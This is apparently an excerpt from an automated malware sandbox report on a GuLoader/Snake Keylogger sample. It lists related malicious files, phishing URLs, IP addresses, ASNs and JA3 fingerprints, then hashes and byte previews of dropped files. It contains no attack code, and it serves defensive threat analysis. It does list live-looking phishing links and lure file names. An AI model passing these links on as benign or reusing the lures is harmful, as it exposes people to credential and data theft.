	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	rfacturapendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	invoice for payment request.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	New PO 127429.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	BugSplat64.dll.dll	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
	60069-PO-13228.pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.130.0
reallyfreegeoip.org	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	INV76280.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	rAntephialtic.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	rfacturapendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	invoice for payment request.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	New PO 127429.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	BugSplat64.dll.dll	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.80.1
	60069-PO-13228.pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
api.telegram.org	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://bafybeid2qyaain5ijqkyhqtjgmutfc32e75xzznjglxoe23z6grgqk64ey.ipfs.flk-ipfs.xyz/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://helpdesk-nab.com/	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://drdonnyru.github.io/List-of-Works/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://ahorrosparati.vercel.app/points/PSE/falabella/index.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.FileRepMalware.27818.21336.msi	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.FileRepMalware.27818.21336.msi	Get hash	malicious	Unknown	Browse	149.154.167.220
	rAntephialtic.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	rfacturapendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Binary.app.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	https://schilist.top/protez1/me/BFOk8xi	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://bafybeid2qyaain5ijqkyhqtjgmutfc32e75xzznjglxoe23z6grgqk64ey.ipfs.flk-ipfs.xyz/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://helpdesk-nab.com/	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://drdonnyru.github.io/List-of-Works/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://tme.telelauncher.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://nwh02.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.99
	https://ahorrosparati.vercel.app/points/PSE/falabella/index.html	Get hash	malicious	Unknown	Browse	149.154.167.220
ORACLE-BMC-31898US	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	rfacturapendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	http://begqdb574eqtf.webhop.net/	Get hash	malicious	HTMLPhisher	Browse	168.138.216.227
	New PO 127429.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	BugSplat64.dll.dll	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
	60069-PO-13228.pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.130.0
	RFQ-INQUIRY#46883-A24.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	proforma fatura No. 90273641836.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	158.101.44.242
	rlgh5walrVUMJyT7.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	purchase_order_u83784899.cmd	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
CLOUDFLARENETUS	document.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	document.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://studiotokyo.com.br/box3/fkfjgjghhbmdjjjf/%E3%80%82cmljaGFyZC5jb29wZXJAd2lsc29uc2Fkdmlzb3J5LmNvbS5hdQ==%25E3%2580%2582	Get hash	malicious	Unknown	Browse	1.1.1.1
	na.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	b4.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	b2.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://docs.google.com/presentation/d/e/2PACX-1vQcrjnf7gURVzMBWWOuUbQjiGVDYKRTaJYBkU2B-88HeCHz8FldVlIe7zd9DgUfzBPVRT8Bm5GM_Nuh/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	INV76280.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	rAntephialtic.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	rfacturapendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	invoice for payment request.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	New PO 127429.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	BugSplat64.dll.dll	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	60069-PO-13228.pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
3b5074b1b5d032e5620f69f9f700ff0e	Decolourants.bat	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Calmecac.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse	149.154.167.220
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	Afkrfte.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse	149.154.167.220
	Bunddkket.vbs	Get hash	malicious	AsyncRAT, GuLoader	Browse	149.154.167.220
	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Banderas.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://mvpmultichainmaindesk.xyz	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://personas.balajicotton.com/	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://complainthubbrandvision.vercel.app/appeal&form	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	Decolourants.bat	Get hash	malicious	GuLoader	Browse	142.250.185.161 142.250.186.174
	Calmecac.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse	142.250.185.161 142.250.186.174
	Afkrfte.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse	142.250.185.161 142.250.186.174
	Bunddkket.vbs	Get hash	malicious	AsyncRAT, GuLoader	Browse	142.250.185.161 142.250.186.174
	BANK SLIP_TT COPY_003456864-2-18-2024_pdf.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	142.250.185.161 142.250.186.174
	Quote-553780956787535101-UAE-24_pdf.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	142.250.185.161 142.250.186.174
	23749-28764875432.5.exe	Get hash	malicious	Unknown	Browse	142.250.185.161 142.250.186.174
	build.exe	Get hash	malicious	Vidar	Browse	142.250.185.161 142.250.186.174
	Udeladelsers21.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.161 142.250.186.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsl778C.tmp\System.dll	Udeladelsers21.exe	Get hash	malicious	FormBook, GuLoader	Browse
	rFactura1-000122.exe	Get hash	malicious	GuLoader	Browse
	https://oss.niimbot.com/print/pc/package/3.12.11/niimbot-print_win_3.12.11_x64.exe	Get hash	malicious	Unknown	Browse
	rSlutelementer.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Zoom Client Setup.exe	Get hash	malicious	Unknown	Browse
	Zoom Client Setup.exe	Get hash	malicious	Unknown	Browse
	NexoPack Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	NexoPack Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	xt1kRECQpq.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\Public\Music\timelanges.lnk

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	844
Entropy (8bit):	3.4419337585661194
Encrypted:	false
SSDEEP:	12:8wl0c0a/ledp8wXuQUlbqOl11RsbdpYmHbq+1gPmvRdRc0zJCN85v4t2YZ/elFlz:8QudO/9lTYd9lgOJw224qy
MD5:	0952E177EA970C800BA4C174E0DAD3A6
SHA1:	C4D0FD59D6E109FA121223BF8EF798A78B816A0E
SHA-256:	A3C472F6D8E7DE868B9FE4D0D9C7513610B80DFA9E9E2892F2D3C2B9F979BB09
SHA-512:	77F6CC7D48507EEC6A7287E5714CB94539817860DD5CC06ABC00BFBBBB1AB3C2558463E7762E01ADE91DE376D38132D7244C295D449AF780511214B5B5921C01
Malicious:	false
Reputation:	low
Preview:	L..................F........................................................q....P.O. .:i.....+00.../C:\...................z.1...........Program Files (x86).X............................................P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...".f.1...........Common Files..J............................................C.o.m.m.o.n. .F.i.l.e.s.....b.2...........prgedes.paa.H............................................p.r.g.e.d.e.s...p.a.a.......5.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.o.m.m.o.n. .F.i.l.e.s.\.p.r.g.e.d.e.s...p.a.a.+.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.s.p.i.n.s.t.e.r.i.s.h.l.y.\.F.i.s.k.e.r.e.t.t.e.n.........,...............$M....>M...EQ ..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.................

C:\Users\user\AppData\Local\Temp\nsl778C.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Udeladelsers21.exe, Detection: malicious, Browse Filename: rFactura1-000122.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: rSlutelementer.exe, Detection: malicious, Browse Filename: Zoom Client Setup.exe, Detection: malicious, Browse Filename: Zoom Client Setup.exe, Detection: malicious, Browse Filename: NexoPack Setup 1.0.0.exe, Detection: malicious, Browse Filename: NexoPack Setup 1.0.0.exe, Detection: malicious, Browse Filename: xt1kRECQpq.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Music\timelanges.lnk

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	844
Entropy (8bit):	3.4419337585661194
Encrypted:	false
SSDEEP:	12:8wl0c0a/ledp8wXuQUlbqOl11RsbdpYmHbq+1gPmvRdRc0zJCN85v4t2YZ/elFlz:8QudO/9lTYd9lgOJw224qy
MD5:	0952E177EA970C800BA4C174E0DAD3A6
SHA1:	C4D0FD59D6E109FA121223BF8EF798A78B816A0E
SHA-256:	A3C472F6D8E7DE868B9FE4D0D9C7513610B80DFA9E9E2892F2D3C2B9F979BB09
SHA-512:	77F6CC7D48507EEC6A7287E5714CB94539817860DD5CC06ABC00BFBBBB1AB3C2558463E7762E01ADE91DE376D38132D7244C295D449AF780511214B5B5921C01
Malicious:	false
Reputation:	low
Preview:	L..................F........................................................q....P.O. .:i.....+00.../C:\...................z.1...........Program Files (x86).X............................................P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...".f.1...........Common Files..J............................................C.o.m.m.o.n. .F.i.l.e.s.....b.2...........prgedes.paa.H............................................p.r.g.e.d.e.s...p.a.a.......5.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.o.m.m.o.n. .F.i.l.e.s.\.p.r.g.e.d.e.s...p.a.a.+.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.s.p.i.n.s.t.e.r.i.s.h.l.y.\.F.i.s.k.e.r.e.t.t.e.n.........,...............$M....>M...EQ ..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.................

C:\Users\user\spinsterishly\Fiskeretten\Aphthartodocetic.ini

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	Generic INItialization configuration [unreachableness cirkelbuer]
Category:	dropped
Size (bytes):	385
Entropy (8bit):	4.832402033784482
Encrypted:	false
SSDEEP:	6:TgHzz2qOXw2WiNBEzeEbEHJMA20Lm/HklkC70jeQQuRhClLZMJyNUivycFAe1:KGJYiNyXgHJMAt6HkyC70jkRT71
MD5:	90EC9FEAAB66462033FBB70FB9A3EE4B
SHA1:	7AEF435EFC9C6007010315D6A7278A04E5A52429
SHA-256:	E2C21AFE2CCD6E3D219780F268500BB8337D8B891E8595EC7C49AC35BAAC2057
SHA-512:	2CF848417755B906827EB26E42F84B8A454EA409855F3705D74E66F0F4340B8019D914E6616D302A69363A5F834A6E1CCB9A1F2B7887FA5A42BD11CAE317BEB4
Malicious:	false
Reputation:	low
Preview:	[NYTESTAMENTLIGES BORTLEDENDES]..servatius sjungede foretog gesticulates vandomraades stramtandet skyndte metataxic,afbalancerede harmendes biindtgters datids torsions eurhythmics masseuses..[unreachableness cirkelbuer]..Steerers petiteness deltabels fils,tvangsmiddelet quadrilaminar reolpljningens smughandler ellevilde..[funktionsgennemgangens paragonite]..[METRIZED PATRULJERING]..

C:\Users\user\spinsterishly\Fiskeretten\Innovativeness151.jpg

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 785x561, components 3
Category:	dropped
Size (bytes):	28874
Entropy (8bit):	7.844370082286915
Encrypted:	false
SSDEEP:	768:JPcUFwwqj73AuqAnmlcjknNblmP1CvYUI3dtz1VSA:JPcUsjHqOwxDYiA
MD5:	C9ABF950B5EA7C4E30DD9F58FC96E8D2
SHA1:	783B728F9C93A86A9524AF93F9DF2EC851A38A69
SHA-256:	7B1F375157924D100B36C83547FD9A070C5C2F99AA2821AF7372D73DD34A264B
SHA-512:	C40DAFA22A0D2AEAB1757D1EF4A4D47A5A3098552C98AB1CA36A4C8D4EB6526ACD632737ACE30C04DD56C37F967B2477991DB1A461BAC329A26B6A050EA6A7BE
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......1...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...L....4Rf...J(..RQ@.-%.........Rf..Z?.J(.h...AE%.h......E%..-..P...%...)..4..)3K..(.........4Rf.4.....H.f..K.`:.IK@.KM...)i)i.....@.- .P1E8R.p..(..L...&....O.u..p*.R..(.DZ..j.}.-.Q@.E%-..QE..QE..f.(.sE%...RQ@.E%-..QE....P.KIE.-.........Z(.....Q@.KM.......ZZJ(.h..4..Rf...)(.C.)(...4.P1{.J(...J.Z)(..-.......4f...L.@.Fi3Fh.sKM...I.L..vh.....3M....3M...;4SsK..Z3I.(..4...

C:\Users\user\spinsterishly\Fiskeretten\Outrivals.Sko

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	450534
Entropy (8bit):	2.6473802752967566
Encrypted:	false
SSDEEP:	3072:d3x7TBmJ/bOa0qNwkQOlSzOrRth4+49IBW276D:dhnghuq+kLSOrRth4XCBWY6D
MD5:	E846A0B20301808D60676739AC9B5EB1
SHA1:	E930132F14B65F087EF4FD0F82AD02A63B546244
SHA-256:	FD753F0E8394081E9DC335352A9A1681D6E542AF7E24E891C5A37E2DF65B3F10
SHA-512:	7D1E14D4CEC4ED12F22C3909EDAC6C802D421BF00F045BF61DBE10B9357708B4BAF3F12CEB0D0709832134DC9E1FC41F32D922B254E62A65AA731B09D591B36A
Malicious:	false
Preview:	0000003C3C3C00000082000202020000F20000DBDB009F00C90000EFEFEFEFEFEFEF0016000000E7E7004D00C7C7000000840092920000CECE0081818100A5A5000000ADADADADADAD00BE00BB00005E5E00000000474700005C5C00007700005A5A000023000000C2C2C20000008D00A6000000004400C1003E3E3E0055000000007100210000002B000000510000007070700000C600003F0000740000D1D10000BFBF00004D4D4D000050000054000000000000000B0008000085000000A6A6001700000000170000AAAAAAAAAA008200EA0000001600FEFE00600000000000D2D200740000002323230000AB00AFAFAFAF00CB00460002000000010000004A0000001600000000040404001212120000B5B5B5B500000000F900DF0000450000B3B300A20000000000FF00530000F9003200CC0008000000000031313100A0005B000000000000F3F3000000DA0099004444000018181818180046000095000000180000000000000D0D0D0D0000000000D10000EA0000ADADAD000000006200FA00A7000000D50091000000000000000000CDCDCDCDCDCD0000006E00C1C10000670000E2007F00B5B5B50000F60000AB0000000005006060606000A40000373700000000EDED0000DC007D7D7D7D7D000083000000130000E9E9E9000000B1B1B1B100000010003E0097970000009B0000

C:\Users\user\spinsterishly\Fiskeretten\Railleredes.Pad

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	data
Category:	dropped
Size (bytes):	215804
Entropy (8bit):	7.513742176745442
Encrypted:	false
SSDEEP:	3072:auYg7NtmmfwGUNKQMibuuvBtskYCWBYZiLuWhnsF+fAFlPmnhHvF3nVPXoT7XxCl:amNFUNC4LBBYCWBtCohPFnx+hyYto1AW
MD5:	C305740F9F095BD3F9D7DFFA1068399E
SHA1:	6976A759EE936BDEE1DF7CAA370494A1B3701AE4
SHA-256:	4D6A7623602268D5A5BC24E72B2E92658D1196C85A3D15C8C398D7AEC8B2F9E0
SHA-512:	DE84527E96BC3021C36C7CC81BCC2BF533EC6C36F308CD845BBA5484F8B6C8B7FD42617F411DFB9DE1BA98AFA855FC3B9E1B3639F236C9B7911A93FEEAF31892
Malicious:	false
Preview:	....s.l........c........................XXXX......z.....m..........777...............................ZZZ........$.........y................T.9.p.................h..v......................R.).$$.r............X.........R.77........V....Q...JJ........1................dddd...ddd......!!!!..p.44444.......W...a........A......{......aaaaaa....t.......[[[.. .............hhhh....8.????.............kkk....}.........M.f..I...\|....."..........................cccc..I...K.......[.7.....n.))....&.....B............b......................^.!..............f.........T...................\.......-.....xxx.......y.....d...ppp.......h..j.........................vv......ZZZZ....%....xx...........55..................g...............................????.......h.....V.................D.cc.6.....A.***......!!!..'....g...............hh.........=...................R.88....n........TTT.....ppp..........5...........FF.....................................................nnn.....3.....DD.......(.AAAA.22....[[[[[.

C:\Users\user\spinsterishly\Fiskeretten\desorienteres.txt

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	491
Entropy (8bit):	4.31953270914656
Encrypted:	false
SSDEEP:	12:7KiEoPLTxneWRDBeFaSWTVQK/mD5VWlHAX/bIogUXv:+xojTxneydeF0QKF9Wfg6
MD5:	663E26E192D34C89A21482F86A0CC079
SHA1:	D50C89DDF76D97B7FFF7AFBB20FE698B820F35BE
SHA-256:	79AB4370CA578D5FA793BFE1A3041D70B95855D3056594FA41EDC00ECF416A20
SHA-512:	B9A84B48F8A8F733F10A88F285169ECA7416E6FE1A2B51B73A4A4228C7A8781292DCBDE1FF748ECD1E7FF14B743F3E0BF455EE3C1BD0BF2454B0E33B39A30FA3
Malicious:	false
Preview:	scholar tined skoleskemaet underinstrument freezed triangels luncheonettes hetzers eldest.Ietf bodelsen pressed perjury..;curvative spejldrens spyd,ballede mickeis rsk illustrationens..luteotropic deprecieringens adigranth vellysten immatrikulationers unawful blackberries.Fremsigelsernes liverance tumlernes skaget yffrit udstykkeren prat......efterbrnderne soger unnominalistic plastikkirurgisk recalls diploplaculate.Decarbonises ceaselessly roses rendingen jernbanearbejder munkeordens..

C:\Users\user\spinsterishly\Fiskeretten\gennemskylnings.txt

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	652
Entropy (8bit):	4.355240967905803
Encrypted:	false
SSDEEP:	12:DQK0AeDcGABWyOVm1kjppAiYFCR/TD6zQAFqrX47tP8wokbb1XF1LbkeW0r3q:DQK0AeDKczjDInzQzrX47tP3ZIKr3q
MD5:	790EBF2AC0CA4ADCDB58E45D0A450DBC
SHA1:	D18F698C2AA650D78AD5167E3B2B9953F54D3F8A
SHA-256:	C49F3F671B7CBF550040EA2DC10D462A46D87C7D62CA0F85C6CDFE86A42CECD2
SHA-512:	1F3D6EE159D0EE604D22A6565228F41C58FADCF141B8A69A277D70B8D74A3306205B3FC56C1F4D93873056BF29C68053305B55EEA3B878A0C967739D224A445B
Malicious:	false
Preview:	[careys frolick]..Unenumerative transcondyloid stiverne stratton unaxled tunicles deeping mertensia gaelicism..bovid cyclometers enclitics smaastenene wienerlgs fartforbrydere dehydreringers tilvarsels skolebord forflygtigelsers ledsagemusik.Forlyset faktoranalysens readjuster..tilgroningernes broderorganisationernes revictualed,affaldsproducenters papilionidae oldsag bikes adolph klokkernes flderandene undviger firefoot..Benhindebetndelsens cornering stortingsmedlemmet salgssum kompliment maskinarkitektur redcoll..;fireplough lejevrdier noedvendig boksestvne amputerendes justest.Argusblikkes radiales dejectedly teleobjektiv ful topnglesttene..

C:\Users\user\spinsterishly\Fiskeretten\gerry.pad

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	data
Category:	dropped
Size (bytes):	29380
Entropy (8bit):	1.2646489004189274
Encrypted:	false
SSDEEP:	192:vp3MOAy7WiXB2O1NUcFWb38pStMMI81jeUWBmSF//LzzIxj13gjwKWuQ6SSph7NC:x3vArO7WwNM/JUZe3gjw36z7A
MD5:	766D9EF7530D23758F482B0AB2B54788
SHA1:	C430E21B1463ECEB32D05C6F0909D9821C27A3E7
SHA-256:	7BA4160056FB1B321E5859A9AA1F9C277B9C798B968C34E735F5222710E7ED09
SHA-512:	5BC154B564AF204C25D2E7651E3C4C9F9263C3E6A88F149DDBE9892BAF0B26079E171AEBAC4DD334EE8192EC4F2C5D510536A2287AD1EEA5BD357AAAFABAD68F
Malicious:	false
Preview:	9999999999999999999999999.99.999999999999999999999..99_9999.99999999999999W999999999.99999999999999.99..1999999.99999999.99.999999.9999999999999.99999999999999999..9999999999999999999999999992.99191r99999999999999999999999999999999.99999999999999C9999999.999999999999999999999o99999999999.99999999999.999999999999..9999999999999999999999@999Q999999.99999999999.c999999o.9.9999.9999999999999999999999999999.9.9999999999'99999.999999999999999399999.9999999999999o999.9999999999999999999999999699999999L999999999999999...9!99999999999999o99999999999.99999999999.999999`99999999999999999%99999999999999999999999999999.999D99999999999999999999S9999999999999.9999999999999999B999.999999999999999999999999999.999.99999W999..99999.99999999.999!9999999999.9.99999999999ZE99999999999999999999q99.9999.99999..999999999999999999999999999999999999>9999999999l99999999999.99.999999999.999999999999999F9999.99999999999999.9999999999999999999999999.9999999.99999999..99999999999.99999(999999.999999999999{9999999j999

C:\Users\user\spinsterishly\Fiskeretten\inkassogebyrers.txt

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	Generic INItialization configuration [ELEVCENTRERET RKKEHUSETS]
Category:	dropped
Size (bytes):	602
Entropy (8bit):	4.605036996213703
Encrypted:	false
SSDEEP:	12:VOnCFZCC0zHqKKMiM5tLBcwhRlZGoMTisWPulSW5VKZRU4wPa:UGQCsqKtiEvlEBTi1W5gZRB
MD5:	AC5918C28B077C9134D607DD4DA5C7D8
SHA1:	0B6E4CD64998D4A6BDCBD6698F1388BB0B4F204D
SHA-256:	7A0296F17E8BDED15E306321AF16A537DFE424EA806BDA138402C11453C27E1D
SHA-512:	0B83B999A6EE4FD22604DF2ED2610403ABEAA24AA0926DB61C91F63B9477A0AA63DA1AC8B6C2DE348F523E7ED4C414CD28A30B75E8B6FADED2C2431D5F6A6F5E
Malicious:	false
Preview:	[regrettable nominates]..[ELEVCENTRERET RKKEHUSETS]..glossata skringsdagen skolepligtige eklektikernes empodium mukade,administrations atypical shammes..Disciplineringer underwrapping vovvov fyldplads aalborgsk samplingernes tjenesterne,pjalters kortfilms knkfrit optrnet affrightedly proliferation..Aeronomics scutcher brnehaveseminarium physiopathology dissentieringen,subpellucidity kvrnenes konverteringsforlbet nulvksten vacates synkroniske mokkers..;ddboldsituation pleuracanthini lyc escalop forveksleligt.Transportrers dormitoriernes afvigelsens decidual familiepolitikkens bentjets rytternes..

C:\Users\user\spinsterishly\Fiskeretten\klasikkens.txt

Download File

Process:	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	497
Entropy (8bit):	4.53243935171649
Encrypted:	false
SSDEEP:	12:0IFT8Q2uF5oBYyQgRxc6h9JOTTu8MSgMgUWYM16Ew51NLaH:X8VuYYyxrhrViBDy/9H
MD5:	349C3014AD27290CECAF439303816708
SHA1:	33C07D049A06EDA444A3AB12E4E935D61618ADC8
SHA-256:	7AEA294FBDC4CFA3972C4BF45A2C787F38174B5A0E8A3C2AB45ACB0FC5B5D120
